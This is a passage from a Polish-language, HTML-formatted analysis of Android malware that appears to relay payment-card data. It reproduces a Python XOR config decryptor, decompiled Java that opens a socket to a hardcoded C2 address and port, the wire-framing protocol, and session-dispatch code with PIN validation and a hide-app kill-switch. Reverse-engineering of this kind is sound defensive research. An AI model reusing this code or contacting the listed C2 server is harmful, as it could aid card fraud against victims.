&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;pathlib&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ct&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pathlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;\path\to\asset\____&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;pt&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ct&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;replace&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Otwarcie połączenia: host/port z JNI, protokół ramkowy&lt;/h4&gt;
&lt;p&gt;Łączność sieciowa jest zawarta w &lt;code&gt;Transport&lt;/code&gt; i &lt;code&gt;C0214a&lt;/code&gt; (połączenie i wątki). Uwaga: &lt;strong&gt;host/port pochodzą z JNI&lt;/strong&gt;, tj. odszyfrowanej konfiguracji.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// rha.dev.p031me.net.transport.Transport (excerpt)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;abstract&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Transport&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;f412a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                 &lt;span class="c1"&gt;// JNI → &amp;quot;91.84.97.13&amp;quot;&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;    &lt;span class="n"&gt;f413b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="c1"&gt;// JNI → 5653&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;native&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;host&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;native&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;port&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;m67b&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                              &lt;span class="c1"&gt;// connect-once&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f414c&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;f415d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;f415d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;f414c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mo0d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f412a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f413b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                      &lt;span class="c1"&gt;// open socket&lt;/span&gt;
        &lt;span class="n"&gt;mo1c&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                                          &lt;span class="c1"&gt;// TLS hook (unused if tls=false)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kd"&gt;abstract&lt;/span&gt; &lt;span class="n"&gt;Socket&lt;/span&gt; &lt;span class="nf"&gt;mo0d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kd"&gt;abstract&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;   &lt;span class="nf"&gt;mo1c&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;code&gt;C0214a&lt;/code&gt; uruchamia wątek wysyłania i odbierania. To właśnie tam krystalizuje się kształt protokołu.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wychodzące&lt;/strong&gt; (client→server): &lt;code&gt;len(4) | opcode(4) | body(len)&lt;/code&gt;
&lt;strong&gt;Przychodzące&lt;/strong&gt; (server→client): &lt;code&gt;len(4) | body(len)&lt;/code&gt; (Kod operacyjny znajduje się wewnątrz ciała jako pole ServerData)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// p038y.C0256c — SendThread: exact wire format client→server&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;mo2c&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;C0253c&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0253c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f526b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m123d&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;take&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;writeInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m6a&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// int32 len (BE)&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;writeInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m5b&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;          &lt;span class="c1"&gt;// int32 opcode (BE)&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m6a&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;             &lt;span class="c1"&gt;// body&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// p038y.C0255b — ReceiveThread: server→client is just length + bytes&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;mo2c&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readInt&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;104857600&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Invalid protocol length&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readFully&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f526b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m120g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;           &lt;span class="c1"&gt;// → NetMan.mo114b(byte[])&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Wybór transportu (TCP vs TLS)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aplikacja ukrywa tworzenie gniazd za &lt;code&gt;Transport.d(host, port)&lt;/code&gt;. Istnieją dwie implementacje:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// z/a.java  — plain TCP used when tls=false&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;a&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="n"&gt;Transport&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="n"&gt;Socket&lt;/span&gt; &lt;span class="nf"&gt;d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="n"&gt;IOException&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// z/b.java  — TLS variant (not used in this sample)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;b&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="n"&gt;Transport&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="n"&gt;Socket&lt;/span&gt; &lt;span class="nf"&gt;d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="n"&gt;IOException&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;SSLSocketFactory&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SSLSocketFactory&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;SSLSocketFactory&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;SSLSocket&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SSLSocket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;createSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startHandshake&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                    &lt;span class="c1"&gt;// pinning/custom TrustManager appears elsewhere&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Ramki są łatwe do podpisania na połączeniu, a ponieważ &lt;code&gt;tls=false&lt;/code&gt;, payload jest w postaci zwykłego tekstu.&lt;/p&gt;
&lt;h4&gt;Dyspozytor: rola NetMan i historia opcode&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;NetMan&lt;/code&gt; koordynuje sesję: &lt;strong&gt;serializuje&lt;/strong&gt; komunikaty wyższego poziomu (&lt;code&gt;ServerData&lt;/code&gt;) i &lt;strong&gt;reaguje&lt;/strong&gt; na odpowiedzi serwera. Można go traktować jako „mózg sesji”.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// rha.dev.p031me.net.NetMan (excerpt) — the one true outbox&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;m150H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServerData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;EnumC0219b&lt;/span&gt; &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f402b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* queue until connected */&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ServerData&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m74g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                                &lt;span class="c1"&gt;// opcode&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m73h&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sharedToken&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                                     &lt;span class="c1"&gt;// JNI token&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m72i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Globals&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;ServerData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;EnumC0218a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;TYPE_READER&lt;/span&gt;
                               &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ServerData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;EnumC0218a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;TYPE_EMITTER&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m75f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;// data blob&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m71j&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                                                 &lt;span class="c1"&gt;// native serialize&lt;/span&gt;

    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f402b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m117j&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uniqueID&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;     &lt;span class="c1"&gt;// → SendThread&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Po stronie wejścia blob z serwera jest parsowany do &lt;code&gt;ServerData&lt;/code&gt; (natywnie). &lt;code&gt;NetMan&lt;/code&gt; obsługuje synchronizację, walidację PIN, listy, kill-switch (ukryj aplikację), a także keepalive co 7 sekund (OP_PING).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;mo114b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;ServerData&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ServerData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m76e&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                &lt;span class="c1"&gt;// native parse&lt;/span&gt;
    &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m78c&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;OP_SYN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;          &lt;span class="n"&gt;m150H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServerData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;EnumC0219b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;OP_ACK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;OP_PIN_VALID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="n"&gt;InterfaceC0039c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f64h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mo184i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
